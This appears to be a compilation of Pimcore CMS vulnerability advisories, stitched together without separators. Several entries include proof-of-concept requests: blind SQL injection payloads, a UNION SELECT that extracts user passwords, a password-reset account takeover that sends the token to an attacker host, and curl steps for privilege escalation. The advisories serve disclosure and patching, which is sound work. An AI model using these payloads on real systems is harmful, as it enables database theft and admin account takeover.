Summary An incomplete SQL injection patch in the Admin Search Find API allows an authenticated attacker to perform blind SQL injection. Although CVE-2023-30848 attempted to mitigate SQL injection by removing SQL comments (--) and catching syntax errors, the fix is insufficient. Attackers can still inject SQL payloads that do not rely on comments and infer database information via blind techniques. This vulnerability affects the admin interface and can lead to database information disclosure.
Details The vulnerability exists in the Admin Search Find API endpoint: /admin/search/search/find In CVE-2023-30848, the following patch was applied:
- SQL comments are removed by replacing -- - SQL syntax errors are caught and replaced with a generic exception
Relevant commit: https://github.com/pimcore/pimcore/commit/25ad8674886f2b938243cbe13e33e204a2e35cc3
Key changes include: // remove sql comments $fields = strreplace('--', '', $fields);
try { $hits = $searcherList->load(); } catch (SyntaxErrorException $syntaxErrorException) { throw new \InvalidArgumentException('Check your arguments.'); } However, this mitigation is incomplete for the following reasons:
1. Only -- is filtered
SQL injection does not require SQL comments. Payloads using boolean conditions, SQL functions, or time-based expressions remain effective.
2. Exception handling only suppresses error output
While syntax errors no longer produce detailed error messages, the underlying SQL query is still executed. This allows attackers to perform blind SQL injection.
3. User-controlled input is still used in SQL query construction The fields[] parameter is attacker-controlled and can be abused to inject SQL expressions into the generated query.
As a result, attackers can craft payloads that do not trigger syntax errors and still influence SQL execution. PoC The following request demonstrates a blind SQL injection via the fields[] parameter.
Boolean-based Blind Injection GET /admin/search/search/find?query=2& fields[]=field1 AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END)=1~field2& filter=[{"property":"value"}]& class=classname Time-based Blind Injection GET /admin/search/search/find?query=2& fields[]=field1 AND IF(1=1,SLEEP(5),0)~field2& filter=[{"property":"value"}]& class=classname Observed behavior:
- When the condition is true, the response is delayed (e.g., ~5 seconds)
- When the condition is false, the response is returned immediately
This confirms that injected SQL expressions are executed successfully. Impact This is a Blind SQL Injection vulnerability.
- Affected users: Systems exposing the Admin Search Find API to authenticated users
- Attack requirements: Authenticated access to the admin interface
- Potential impact:
- Database schema enumeration - Extraction of sensitive data via blind SQL injection - Potential full database compromise depending on database privileges
This issue demonstrates that the fix for CVE-2023-30848 is incomplete.
Summary
An unauthenticated attacker takes over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl. The server generates a real cryptographic recovery token, appends it to the attacker's URL, and emails the link to the victim. When the victim clicks the link in their email, the token is sent to the attacker's server. The attacker then uses POST /pimcore-studio/api/login/token to authenticate as the victim with full admin privileges. Token login explicitly disables two-factor authentication, so even accounts with TOTP/Google Authenticator are compromised.
Vulnerability Details
Unauthenticated Endpoint Accepts Attacker URL
The reset password endpoint at src/User/Controller/ResetPasswordController.php line 53 is public (uses PUBLICSTUDIOAPI voter). The ResetPassword schema at src/User/Schema/ResetPassword.php accepts a resetPasswordUrl string as a required parameter with zero validation. No URL scheme check, no domain allowlist, no comparison against the configured system domain.
php final readonly class ResetPassword { public function construct( private string $username, private string $resetPasswordUrl // attacker-controlled, no validation ) {} }
Token Appended to Attacker URL
In src/User/Service/UserLoginService.php at line 64-65, the service generates a real recovery token and concatenates the attacker's URL with the token:
php $token = $this->authenticationResolver->generateTokenByUser($user); $loginUrl = $resetPassword->getResetPasswordUrl() . '?token=' . $token;
The token is generated and stored in the database BEFORE sendResetPasswordMail() is called on line 68. Even if email delivery fails, the token exists.
Token Login Bypasses 2FA
src/Security/Authenticator/AdminTokenAuthenticator.php line 60 explicitly disables 2FA on token login:
php $pimcoreUser->setTwoFactorAuthentication('required', false);
Token Validity
The token is encrypted with the application secret, valid for 24 hours, and single-use (nullified after authentication). The attacker's server captures it before the victim completes any reset flow.
Steps to Reproduce
Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4.
1. Send password reset with attacker URL (no authentication needed)
http POST /pimcore-studio/api/user/reset-password HTTP/1.1 Host: TARGET Content-Type: application/json
{"username":"admin","resetPasswordUrl":"https://ATTACKERSERVER:9999/steal"} <img width="1756" height="882" alt="image" src="https://github.com/user-attachments/assets/9cb90c8e-6c08-4cd6-980a-822bbd35dc23" />
- Response: 500 (email delivery failed in test env, but token def5020020bd133... visible in error trace, confirmed generated in DB
2. Confirm token was generated
Database query shows the recovery token was created:
name hastoken tokenprefix admin 1 def50200cdbd3c1292288a716c623f
3. Token login (after victim clicks the link in their email)
http POST /pimcore-studio/api/login/token HTTP/1.1 Host: TARGET Content-Type: application/json
{"token":"def50200cdbd3c1292288a716c623f...fulltoken..."}
Response:
HTTP/1.1 200 OK Set-Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419; path=/; httponly; samesite=strict Set-Cookie: pimcorestudioauthprofiletoken=d7a9ad; path=/; httponly; samesite=lax <img width="1756" height="679" alt="image" src="https://github.com/user-attachments/assets/53bf8f30-47c1-4398-b386-9929b77a35b5" />
4. Verify full admin access with the stolen session
http GET /pimcore-studio/api/users HTTP/1.1 Host: TARGET Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419
Response: HTTP/1.1 200 OK
json {"totalItems":1,"items":[{"id":1,"username":"admin","additionalAttributes":[]}]} <img width="1668" height="906" alt="image" src="https://github.com/user-attachments/assets/8f2b63b0-6357-4fe6-9689-35eb891de5ab" />
Full admin session obtained. All CMS content, assets, PIM data, user accounts, and system configuration are accessible.
Impact
An unauthenticated attacker who knows a valid admin username takes over the account with full administrative privileges. The only user interaction is the victim clicking a password reset link in a legitimate email from the Pimcore instance. The email comes from the real Pimcore server, making it indistinguishable from a genuine reset email.
The attack bypasses authentication (public endpoint), two-factor authentication (explicitly disabled on token login), and rate limiting (allows 3 attempts per window, trivially worked around with multiple IPs).
Once authenticated as admin, the attacker controls all CMS content, digital assets, PIM product data, user accounts, system configuration, and server-side code execution via class definitions.
Recommended Fix
Remove the resetPasswordUrl parameter entirely and construct the URL server-side from the configured system domain:
php $loginUrl = 'https://' . $this->domain . '/admin/login?token=' . $token;
If the frontend needs to specify the URL for multi-domain setups, validate the host against the configured domain and any registered Site domains.
Supporting Materials
- Live-tested on Pimcore 12.x (2026.x branch, Docker, PHP 8.4) - Package: pimcore/studio-backend-bundle - Distinct from CVE-2021-39189 (user enumeration in password reset, not URL injection)
pimcore is vulnerable to Improper Neutralization of Special Elements used in an SQL Command
Pimcore is an open source data & experience management platform. Prior to version 10.1.1, Data Object CSV import allows formular injection. The problem is patched in 10.1.1. Aside from upgrading, one may apply the patch manually as a workaround.
Impact SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access.
In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior. In some situations, an attacker can escalate an SQL injection attack to compromise the underlying server or other back-end infrastructure, or perform a denial-of-service attack. It was observed that the reported API endpoint accessible by an authenticated administrator user and is vulnerable to SQL injection via the "fields[]" GET parameter. The parameter is not sanitized properly and is used in a SQL statement in an unsafe manner, resulting in SQL injection.
Patches Update to version 10.5.21 or apply this patch manually https://github.com/pimcore/pimcore/commit/25ad8674886f2b938243cbe13e33e204a2e35cc3.patch
Workarounds Apply patch https://github.com/pimcore/pimcore/commit/25ad8674886f2b938243cbe13e33e204a2e35cc3.patch manually.
References https://github.com/pimcore/pimcore/pull/14972
Summary The httperrorlog file stores the $COOKIE and $SERVER variables, which means sensitive information such as database passwords, cookie session data, and other details can be accessed or recovered through the Pimcore backend.
Details It’s better to remove both lines, as this information makes little sense in this context anyway.
https://github.com/pimcore/pimcore/blob/12.x/bundles/SeoBundle/src/EventListener/ResponseExceptionListener.php#L92 https://github.com/pimcore/pimcore/blob/12.x/bundles/SeoBundle/src/EventListener/ResponseExceptionListener.php#L93
PoC In the Pimcore backend, navigate to "Search Engine Optimization" and click on "HTTP Errors." Double-click on an entry to view its details. Here, you may find sensitive data exposed.
Impact Pimcore backend users can access sensitive environment variables, potentially exposing critical information.
Pimcore is an open source data & experience management platform. Prior to version 10.1.2, text-values were not properly escaped before printed in the version preview. This allowed XSS by authenticated users with access to the resources. This issue is patched in Pimcore version 10.1.2.
Pimcore is an open source data & experience management platform. Prior to version 10.1.2, an authenticated user could add XSS code as a value of custom metadata on assets. There is a patch for this issue in Pimcore version 10.1.2. As a workaround, users may apply the patch manually.
Cross-site Scripting in Packagist pimcore/pimcore prior to 10.3.1.
Pimcore AdminBundle version 6.8.0 and earlier suffers from a SQL injection issue in the specificID variable used by the application. This issue was fixed in version 6.9.4 of the product.
The getObjectByToken function in Newsletter.php in the PimcoreToolNewsletter module in pimcore 1.4.9 through 2.0.0 does not properly handle an object obtained by unserializing Lucene search data, which allows remote attackers to conduct PHP object injection attacks and execute arbitrary code via vectors involving a ZendPdfElementFactoryProxy object and a pathname with a trailing \0 character.
The package pimcore/pimcore from 6.7.2 and before 6.8.3 are vulnerable to SQL Injection in data classification functionality in ClassificationstoreController. This can be exploited by sending a specifically-crafted input in the relationIds parameter as demonstrated by the following request: http://vulnerable.pimcore.example/admin/classificationstore/relations?relationIds=[{"keyId"%3a"''","groupId"%3a"'asd'))+or+1%3d1+union+(select+1,2,3,4,5,6,name,8,password,'',11,12,'',14+from+users)+--+"}]
SQL Injection in GitHub repository pimcore/pimcore prior to 10.5.24.
Impact Using some SQL exploitation tools such as sqlmap, an attacker can enumerate all information in the database, alter data or perform dos on the backend database.
Patches Update to version 10.6.5 or apply this patch manually https://github.com/pimcore/pimcore/commit/e641968979d4a2377bbea5e2a76bdede040d0b97.patch
Workarounds Apply patch https://github.com/pimcore/pimcore/commit/e641968979d4a2377bbea5e2a76bdede040d0b97.patch manually.
References https://huntr.dev/bounties/b00a38b6-d040-494d-bf46-38f46ac1a1db/
Summary The Studio API class definition creation endpoint in pimcore/studio-backend-bundle is guarded by the objects permission instead of the classes permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structural admin operation that generates new database tables and PHP class files on the server. Additionally, the API layer performs no format validation on the uid field before passing it to the model layer, relying solely on model-level validation that exists downstream in ClassDefinition::saveClassInternal().
Details
Issue 1 — Incorrect permission guard on CreateController
studio-backend-bundle/src/Class/Controller/DefinitionConfiguration/CreateController.php:
php #[IsGranted(UserPermissions::DATAOBJECTS->value)]
The endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is protected by DATAOBJECTS (the objects permission), which is a standard editor-level permission granted to content editors for creating and editing data objects. Class definition creation is a structural admin operation equivalent to schema modification, it creates new database tables and generates PHP class files on the server. This operation should require the classes permission, which is the permission Pimcore enforces for class definition management in the Classic Admin.
Any authenticated user with object editing rights can call this endpoint and create new class definitions, bypassing the intended admin-only restriction. The same user cannot perform this action through the Classic Admin UI, confirming the Studio API enforces a weaker permission check than the existing interface.
Correct guard: php #[IsGranted(UserPermissions::CLASSES->value)]
Issue 2 — No UID format validation at the API layer
studio-backend-bundle/src/Class/MappedParameter/CreateClassDefinitionParameters.php:
php public function construct( private string $name, private string $uid ) { if (trim($name) === '' || trim($uid) === '') { throw new InvalidArgumentException('Class name and UID cannot be empty.'); } }
Only an empty-string check is performed on uid at the API boundary before the value is passed to the model layer. While ClassDefinition::saveClassInternal() now validates the UID format via anchored regex, no equivalent validation exists in CreateClassDefinitionParameters. A malformed UID passes through the API layer without any format check and only fails deep in the model layer, returning an unformatted internal exception to the caller rather than a clean 400 API validation response, which can expose internal stack traces depending on server configuration.
Defense-in-depth requires validation at the API boundary consistent with the model layer. The same regex now applied in ClassDefinition.php should also be enforced here:
php if (!pregmatch('/^[a-zA-Z0-9][a-zA-Z0-9]$/', trim($this->uid))) { throw new InvalidArgumentException( sprintf('Invalid UID for class definition: %s', $this->uid) ); }
Affected files in pimcore/studio-backend-bundle: - src/Class/Controller/DefinitionConfiguration/CreateController.php - src/Class/MappedParameter/CreateClassDefinitionParameters.php
Vulnerable endpoint: POST /pimcore-studio/api/class/definition/configuration-view/detail/create
PoC
Prerequisites: - Pimcore 2026.1.x with Studio API enabled - A user editor with only the objects permission and no classes permission
Step 1 — Authenticate as the editor user:
bash curl -s -c /tmp/cookies.txt -X POST \ "https://your-pimcore/pimcore-studio/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"editor","password":"password"}'
Expected response: json {"message": "Login successful"}
Step 2 — Confirm the user has no class management access in Classic Admin
Log into Classic Admin as editor. Verify the Classes menu is not visible and the user cannot access Settings > Classes. This confirms the classes permission is not granted to this user.
Step 3 — Create a class definition via the Studio API despite lacking the classes permission:
bash curl -s -b /tmp/cookies.txt -X POST \ "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \ -H "Content-Type: application/json" \ -d '{"name":"UnauthorizedClass","uid":"testuid1"}'
Expected response (vulnerable): json {"id": "testuid1", "name": "UnauthorizedClass", ...}
The class definition is created successfully by a user with no classes permission. The Studio API accepts the request where the Classic Admin would deny it entirely.
Expected response (patched): json {"status": 403, "detail": "Access denied."}
Impact Any authenticated Pimcore user with the standard objects permission can create class definitions via the Studio API, bypassing the classes permission restriction enforced in the Classic Admin. This is a privilege escalation from editor level to a capability that should be restricted to administrators. Class definition creation generates new database tables and PHP class files on the server, giving an unprivileged user the ability to modify the application schema, introduce malformed class structures, and trigger downstream processing outside their permission scope.
The missing API-layer UID validation compounds this by allowing malformed UIDs to reach the model layer, producing unhandled internal exceptions that may expose stack traces depending on server debug configuration.
- Authentication required from attacker: Yes - valid Pimcore session with objects permission required - Authentication required from victim: No - no victim action needed - What is accessible: Full class definition creation capability including database table generation and PHP class file creation on the server
Pimcore is an Open Source Data & Experience Management Platform. In versions up to and including 11.5.14.1 and 12.3.2, the filter query parameter in the dependency listing endpoints is JSON-decoded and the value field is concatenated directly into RLIKE clauses without sanitization or parameterized queries. Exploiting this issue requires admin authentication. An attacker with admin panel access can extract the full database including password hashes of other admin users. Version 12.3.3 contains a patch.
Summary Any call with the query argument ?pimcorepreview=true allows to view unpublished sites. Event if in incognito window. Due to the behaviour of how previews should work, this also applies to internal documents, say an intranet which could be really severe.
Details In previous versions of Pimcore, session information would propagate to previews, so only a logged in user could open a preview. This no longer applies. Previews are broad open to any user and with just the hint of a restricted link one could gain access to possible confident / unreleased information.
PoC - go to demo.pimcore.com - unpublish a document - open preview link in incognito tab - see how the page loads normally
Impact Any intranet or other restricted sites which are able to show a preview are affected. This could possibly be huge.
Summary The application fails to enforce proper server-side authorization checks on the API endpoint responsible for reading or listing static routes. In Pimcore, static routes are custom URL patterns defined via the backend interface or the var/config/staticroutes.php file, including details like regex-based patterns, controllers, variables, and priorities. These routes are registered automatically through the PimcoreStaticRoutesBundle and integrated into the MVC routing system. Testing revealed that an authenticated backend user lacking explicit permissions was able to invoke the endpoint (e.g., GET /api/static-routes) and retrieve sensitive route configurations. This violates OWASP A01:2021 Broken Access Control, as function-level authorization is absent, allowing unauthorized access to internal routing metadata. Without validation, the endpoint exposes route structures, potentially revealing application architecture, endpoints, or custom logic intended for administrative roles only.
Details The backend user without permission was still able to list "Static Routes" item
Step to Reproduce the issue login as Admin (full permission) and clicked "Static Routes" <img width="945" height="858" alt="Screenshot 2025-12-10 at 9 36 04 PM" src="https://github.com/user-attachments/assets/3d4ce400-9bc2-493e-a899-60d5f42ad307" /> Then, captured and saved the request: -List API <img width="1122" height="570" alt="Screenshot 2025-12-10 at 9 44 17 PM" src="https://github.com/user-attachments/assets/81dfb589-fe5d-46ed-b5ee-869a49c08557" />
Next, login a backend user with no permission <img width="1219" height="744" alt="Screenshot 2025-12-10 at 9 06 12 PM" src="https://github.com/user-attachments/assets/1dada4c4-d907-4477-9773-70dea3ef5816" />
The copy the "Cookie" and "X-Pimcore-Csrf-Token" <img width="1902" height="971" alt="Screenshot 2025-12-10 at 9 10 47 PM" src="https://github.com/user-attachments/assets/63221682-fa14-429b-8665-fc9dd8bed890" />
After that, pasted the copied "Cookie" and "X-Pimcore-Csrf-Token" to captured request
-List API <img width="1132" height="829" alt="Screenshot 2025-12-10 at 9 47 27 PM" src="https://github.com/user-attachments/assets/4edea3d1-f5d9-4758-9a07-e9d484c92864" />
Impact Exploitation enables low-privileged users to enumerate static routes, gaining reconnaissance into URL patterns, associated controllers, and parameter handling, which could facilitate targeted attacks like path traversal, injection via exposed variables, or discovery of hidden administrative paths. In a Pimcore environment, this might expose site-specific routing for multi-tenant setups, leading to unauthorized data access, workflow manipulation, or escalation to broader system compromise. Business impacts include intellectual property leakage of custom routing logic, regulatory non-compliance (e.g., GDPR for exposed configs), and increased attack surface for chaining with other vulnerabilities.
Impact Unauthorized users are able to obtain sensitive information about the system's runtime environment, features they have no permissions to access, etc.
Patches Update to version 10.6.4 or apply this patch manually https://github.com/pimcore/pimcore/commit/0237527b3244d251fa5ecd4912dfe4f8b2125c54.patch
Workarounds Apply patch https://github.com/pimcore/pimcore/commit/0237527b3244d251fa5ecd4912dfe4f8b2125c54.patch manually.
References https://huntr.dev/bounties/be5e4d4c-1b0b-4c01-a1fc-00533135817c/
The getObjectByToken function in Newsletter.php in the PimcoreToolNewsletter module in pimcore 1.4.9 through 2.1.0 does not properly handle an object obtained by unserializing a pathname, which allows remote attackers to conduct PHP object injection attacks and delete arbitrary files via vectors involving a ZendHttpResponseStream object.
Summary Authenticated users can craft a filter string used to cause a SQL injection.
Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer. This code does not look to sanitize inputs: https://github.com/pimcore/pimcore/blob/c721a42c23efffd4ca916511ddb969598d302396/models/DataObject/ClassDefinition/Data/Extension/RelationFilterConditionParser.php#L29-L47
c.f. with https://github.com/pimcore/pimcore/blob/c721a42c23efffd4ca916511ddb969598d302396/models/DataObject/ClassDefinition/Data/Multiselect.php#L332-L347
PoC Complete instructions, including specific configuration details, to reproduce the vulnerability.
Impact What kind of vulnerability is it? Who is impacted?
Cross-site Scripting (XSS) - Reflected in GitHub repository pimcore/pimcore prior to 10.6.4.
Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.6.4.
Pimcore is an open source data & experience management platform. In versions prior to 10.1.3, it is possible to enumerate usernames via the forgot password functionality. This issue is fixed in version 10.1.3. As a workaround, one may apply the available patch manually.
Pimcore through 2026.3.1 contains a stored cross-site scripting vulnerability that allows authenticated backend users to inject scripts by storing unescaped URLs in ExternalImage fields. Attackers with data object edit permission can store attribute-breaking payloads that execute JavaScript in the admin origin when other users open version preview or diff views.
An authenticated attacker with permission to edit document content can store crafted HTML/JavaScript in a Document embed editable and cause script execution when the published page is rendered.
This issue affects pimcore: v12.3.3.